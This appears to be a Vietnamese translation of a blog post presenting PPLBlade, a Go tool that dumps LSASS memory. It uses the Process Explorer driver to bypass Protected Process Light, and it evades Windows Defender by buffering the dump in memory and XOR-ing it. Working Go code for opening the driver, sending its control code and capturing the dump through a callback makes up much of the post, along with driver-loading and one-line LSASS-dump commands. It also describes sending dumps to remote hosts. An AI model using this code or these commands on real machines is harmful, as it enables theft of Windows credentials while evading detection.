Bypassing tính năng phát hiện kết xuất LSASS của Defender và bảo vệ PPL trong Go

Bypassing tính năng phát hiện kết xuất LSASS của Defender và bảo vệ PPL trong Go

Tổng quan

Bài viết này đánh giá kỹ thuật có thể được sử dụng để vượt qua tính năng bảo vệ Protected Process Light cho bất kỳ quy trình Windows nào bằng trình điều khiển Process Explorer và khám phá các phương pháp để vượt qua các cơ chế signature-based của Windows Defender để phát hiện kết xuất quy trình.

Công cụ được giới thiệu trong blog này ( PPLBlade ), được viết hoàn toàn bằng GO và có thể được sử dụng làm PoC cho các kỹ thuật được tổng quan bên dưới.

Protected Process Light (PPL) là gì

Protected Process Light (PPL) là một cơ chế bảo mật được Microsoft giới thiệu trong Windows 8.1. Nó đảm bảo rằng hệ điều hành chỉ tải các dịch vụ và quy trình đáng tin cậy bằng cách buộc chúng phải có chữ ký bên trong hoặc bên ngoài hợp lệ đáp ứng các yêu cầu của Windows. Nó cũng hạn chế quyền truy cập vào các quy trình và được sử dụng như một cơ chế tự bảo vệ bởi các quy trình gốc chống phần mềm độc hại và Windows.

Bypassing PPL

Một trong những tiện ích sysinternal nổi tiếng, Process Explorer , sử dụng PROCEXP152.sys để mở trình điều khiển cho một quy trình đang chạy.

PROCEXP152.sys có thể bị abused để nâng quyền PROCESS_ALL_ACCESS cho một quy trình đã được PPL bảo vệ.

Sc.exe của Windows có thể được sử dụng để khởi động trình điều khiển trên hệ thống

sc create [SERVICE_NAME] type=kernel binpath="[PATH_TO_PROCEXP152.SYS]"

Để lạm dụng PROCEXP152.sys , trước tiên, chúng ta cần mở phần xử lý cho nó:

func GetProcExpDriver() (*windows.Handle, error){
   name, _ := windows.UTF16PtrFromString("\\\\.\\PROCEXP152")
   hDriver, err := windows.CreateFile(name, windows.GENERIC_ALL, 0, nil, windows.OPEN_EXISTING, windows.FILE_ATTRIBUTE_NORMAL, 0)
   if err != nil{
      return nil, CreateError(err)
   }
   return &hDriver, nil
}

Với một trình điều khiển mở cho trình điều khiển, chúng ta có thể gửi mã điều khiển tới trình điều khiển đó bằng cách sử dụng chức năng DeviceIoControl của WinAPI

CONTROL_CODE_OPEN_PROTECTED_PROCESS = 0x8335003c
func DriverOpenProcess(hDriver windows.Handle, pid int) (*windows.Handle, error) {
   var hProc windows.Handle
   hProcSize := uint32(unsafe.Sizeof(hProc))
   inputBuffLen := uint32(unsafe.Sizeof(pid))
   var bytesReturned uint32
   if err := windows.DeviceIoControl(hDriver, CONTROL_CODE_OPEN_PROTECTED_PROCESS, (*byte)(unsafe.Pointer(&pid)),
      inputBuffLen, (*byte)(unsafe.Pointer(&hProc)), hProcSize, &bytesReturned, nil); err != nil{
      return nil, CreateError(err)
   }
   return &hProc, nil
}

Hàm này sẽ hướng dẫn trình điều khiển mở một bộ xử lý cho một quy trình được bảo vệ bằng cách gửi mã điều khiển 0x8335003c tới nó và sau đó trả lại trình điều khiển PROCESS_ALL_ACCESS cho quy trình PPL.

MiniDumpWriteDump

Sau khi có được bộ điều khiển PROCESS_ALL_ACCESS cho một quy trình được bảo vệ, chúng ta có thể làm bất cứ điều gì chúng ta muốn với nó, loại bỏ nó hoặc thậm chí kết xuất bộ nhớ của nó bằng hàm MiniDumpWriteDump WinAPI.

Vấn đề với MiniDumpWriteDump

BOOL MiniDumpWriteDump(
 [in] HANDLE hProcess,
 [in] DWORD ProcessId,
 [in] HANDLE hFile,
 [in] MINIDUMP_TYPE DumpType,
 [in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
 [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
 [in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);

Theo tài liệu của Microsoft, MiniDumpWriteDump có 2 đối số riêng biệt để xác định quy trình đích:

[in] hProcess

Một điều khiển cho quá trình mà thông tin sẽ được tạo ra.

[in] ProcessId

Mã định danh của quá trình mà thông tin sẽ được tạo ra.

Ngay cả khi chúng ta chuyển điều khiển PROCESS_ALL_ACCESS cho nó dưới dạng đối số hProcess , nó sẽ cố gắng mở điều khiển riêng của nó bằng cách sử dụng đối số ProcessId .

Vì MiniDumpWriteDump không sử dụng bất kỳ thủ thuật đặc biệt nào (như thủ thuật chúng tôi đã sử dụng ở trên) và cố gắng mở trực tiếp một tay cầm mới cho PPL nên nó sẽ thất bại .

Tại sao nó cần ProcessId ? Trong nội bộ, MiniDumpWriteDump cuối cùng sẽ kích hoạt lệnh gọi tới RtlQueryProcessDebugInformation , đây là nguồn của điều khiển bổ sung.

RtlQueryProcessDebugInformation gọi NtOpenProcess để trực tiếp lấy quyền điều khiển của một quy trình và truy vấn thông tin của nó.

Trước đây, WinAPI không đưa ra bất kỳ lệnh gọi API nào để tự động truy vấn PID bằng xử lý quy trình . Vì MiniDumpWriteDump là một hàm cũ nên người dùng cần phải chuyển đối số ProcessId theo cách thủ công .

Nếu MiniDumpWrit eDump sử dụng nhiều lệnh gọi API GetProcessId hiện đại hơn , thì nó sẽ không cần một đối số riêng cho ID tiến trình. (Vấn đề với tay cầm thứ hai vẫn còn đó , nó sẽ không rõ ràng và dễ thấy như vậy )

Khắc phục sự cố với MiniDumpWriteDump

Nhiều kỹ thuật phức tạp đã được khám phá để giải quyết hành vi có vấn đề này của MiniDumpWriteDump .

Ví dụ: chúng ta có thể hook vào NtOpenProcess và làm cho nó trả về PROCESS_ALL_ACCESS đã được mở cho PPL . Kết quả là RtlQueryProcessDebugInformation sẽ nhận được một bộ điều khiển mà trước đây không được mở trực tiếp bởi chúng ta mà bằng trình điều khiển PROCEXP15.sys và nó sẽ có thể phục vụ mục đích của nó một cách chính xác với bộ điều khiển đó.

Một giải pháp khác phức tạp hơn đòi hỏi kiến ​​thức sâu về reverse engineering, assembly và thời gian khoảng 3 tháng để đánh bại Kerberos là...

truyền giá trị 0 cho nó.

hoặc bất cứ điều gì, chỉ cần đưa bất cứ điều gì cho nó.

Hóa ra, MiniDumpWriteDump không cần thông tin gỡ lỗi được truy vấn bởi RtlQueryProcessDebugInformation để xây dựng tệp kết xuất. Nó thậm chí không theo dõi nếu nó ném lỗi.

var (
   dbghelpDLL = syscall.NewLazyDLL("Dbghelp.dll")
   miniDumpWriteDump = dbghelpDLL.NewProc("MiniDumpWriteDump")
)

const (
 MiniDumpWithFullMemory = 0x00000002
)
ret, _, err := miniDumpWriteDump.Call(
   uintptr(hProc),
   uintptr(hFile),
   uintptr(0),
   uintptr(MiniDumpWithFullMemory),
   0,
   0,
   0,
)

Nếu chúng tôi sử dụng trình xử lý PROCESS_ALL_ACCESS đã mở gần đây trong hàm trên, chúng tôi sẽ tạo thành công loại tệp kết xuất MiniDumpWithFullMemory của quy trình PPL đang chạy .

NHƯNG, hãy thử dùng lsass.exe và sẵn sàng đón nhận âm thanh cảnh báo khủng khiếp của Defender , thông báo cho bạn rằng kết xuất LSASS đã được lưu vào đĩa.

Điều này đưa chúng ta đến phần tiếp theo, nơi chúng ta sẽ bỏ qua cơ chế phát hiện kết xuất quy trình dựa trên chữ ký của Defender.

Né tránh Defender

Hàm MiniDumpWriteDump cung cấp CallbackParam làm tham số đầu vào cuối cùng.

Như Microsoft định nghĩa tham số này:

[in] CallbackParam

Một con trỏ tới cấu trúc MINIDUMP_CALLBACK_INFORMATION chỉ định quy trình gọi lại để nhận thông tin kết xuất nhỏ mở rộng.

Chúng ta có thể viết một hàm gọi lại tùy chỉnh sẽ nhận các bytes của tệp kết xuất.

Hàm gọi lại sẽ lưu trữ các bytes trong bộ nhớ , thay vì ghi chúng trực tiếp vào đĩa .

Các bytes được lưu trong bộ nhớ sau đó có thể được XOR và lưu trữ thủ công trên đĩa.

Sau khi chuyển tệp kết xuất XOR vào hệ thống mà không có biện pháp bảo vệ, nó có thể được reverted về trạng thái ban đầu.

Lệnh gọi MiniDumpWriteDump kèm theo lệnh gọi lại :

func MiniDumpGetBytes(hProc windows.Handle) error {
   callback := syscall.NewCallback(miniDumpCallback)
   var newCallbackRoutine MINIDUMP_CALLBACK_INFORMATION
   newCallbackRoutine.CallbackParam = 0
   newCallbackRoutine.CallbackRoutine = callback
   ret, _, err := miniDumpWriteDump.Call(
      uintptr(hProc),
      0,
      uintptr(0),
      uintptr(MiniDumpWithFullMemory),
      0,
      0,
      uintptr(unsafe.Pointer(&newCallbackRoutine)),
   )
   if ret != 1 && err != nil && err.Error() != ErrReadWriteOnly {
      return CreateError(err)
   }
   return nil
}

Hàm gọi lại tùy chỉnh của chúng tôi lưu trữ byte tệp kết xuất vào biến dumpBuffer :

var dumpBuffer []byte
var dumpMutex sync.Mutex
func miniDumpCallback(_ uintptr, CallbackInput uintptr, CallbackOutput uintptr) uintptr {
   newCallbackInput := ptrToMinidumpCallbackInput(CallbackInput)
   newCallbackOutput := ptrToMinidumpCallbackOutput(CallbackOutput)
   switch newCallbackInput.CallbackType {
   case IoStartCallback:
      newCallbackOutput.Status = int32(windows.S_FALSE)
      setNewCallbackOutput(newCallbackOutput, CallbackOutput)
      break
   case IoWriteAllCallback:
      ioCallback := newCallbackInput.CallbackInfo
      copyDumpBytes(ioCallback)
      newCallbackOutput.Status = int32(windows.S_OK)
      setNewCallbackOutput(newCallbackOutput, CallbackOutput)
      break
   case IoFinishCallback:
      newCallbackOutput.Status = int32(windows.S_OK)
      setNewCallbackOutput(newCallbackOutput, CallbackOutput)
      break
   default:
      return 1
   }
   return 1
}  

Lưu ý rằng dbghelp.dll , hàm xuất hàm MiniDumpWriteDump , sử dụng khoảng đệm 4 byte cho cấu trúc cho cả kiến ​​trúc 32bit và 64bit , trong khi Go sử dụng khoảng đệm 8 bytes cho kiến ​​trúc 64bit và không cung cấp cách tự động thay đổi cho các cấu trúc cụ thể.

Điều này gây ra sự cố sai lệch trong cấu trúc giữa dbghelp.dll và mã được biên dịch của chúng tôi trên kiến ​​trúc 64-bit . Để khắc phục nó, chúng ta cần xây dựng cấu trúc theo cách thủ công . Ví dụ:

type MINIDUMP_CALLBACK_INPUT struct {
   ProcessId     uint32
   ProcessHandle uintptr
   CallbackType  uint32
   CallbackInfo  MINIDUMP_IO_CALLBACK
}
func ptrToMinidumpCallbackInput(ptrCallbackInput uintptr) MINIDUMP_CALLBACK_INPUT{
   var input MINIDUMP_CALLBACK_INPUT
   input.ProcessId = *(*uint32)(unsafe.Pointer(ptrCallbackInput))
   input.ProcessHandle = *(*uintptr)(unsafe.Pointer(ptrCallbackInput + unsafe.Sizeof(uint32(0))))
   input.CallbackType = *(*uint32)(unsafe.Pointer(ptrCallbackInput + unsafe.Sizeof(uint32(0)) + unsafe.Sizeof(uintptr(0))))
   input.CallbackInfo = *(*MINIDUMP_IO_CALLBACK)(unsafe.Pointer(ptrCallbackInput + unsafe.Sizeof(uint32(0)) + unsafe.Sizeof(uintptr(0)) + unsafe.Sizeof(uint32(0))))
   return input
}

PPLBlade

PPLBlade là một công cụ kết xuất bộ nhớ, được phát triển hoàn toàn trong GO , thể hiện các kỹ thuật được tổng quan trong blog này.

Các chức năng chính là:

  1. Bỏ qua sự bảo vệ của Windows PPL.
  2. XOR tệp dump trước khi lưu nó vào đĩa.
  3. Chuyển tệp kết xuất vào hệ thống từ xa mà không cần thả nó vào đĩa (hỗ trợ vận chuyển thô và SMB )

GitHub Repository chứa mã nguồn và phiên bản đã được biên dịch của công cụ. Ngoài ra, deobfuscate.py có thể được sử dụng để hoàn nguyên tệp kết xuất XOR-ed về trạng thái ban đầu.

Lưu ý rằng PROCEXP15.SYS được liệt kê trong các tệp nguồn cho mục đích biên dịch . Nó không cần phải được chuyển trên máy mục tiêu cùng với PPLBlade.exe .

Nó đã được nhúng vào PPLBlade.exe . Việc khai thác chỉ là một tệp thực thi duy nhất.

Biểu tình

Tất cả chúng ta ở đây vì cùng một điều. Vì vậy, nếu bạn không muốn bị lạc vào tài liệu của từng tùy chọn, tôi hiểu rồi, hãy đi thẳng vào vấn đề đó.

Chỉ cần chạy nó ở chế độ “do that lsass thing” cho POC cơ bản.

PPLBlade.exe --mode dothatlsassthing

Nó sẽ sử dụng PROCEXP152.sys để kết xuất lsass.exe. ( Lưu ý rằng nó không XOR tệp dump, cung cấp thêm cờ obfuscate để kích hoạt chức năng XOR )

Theo pepperoni@medium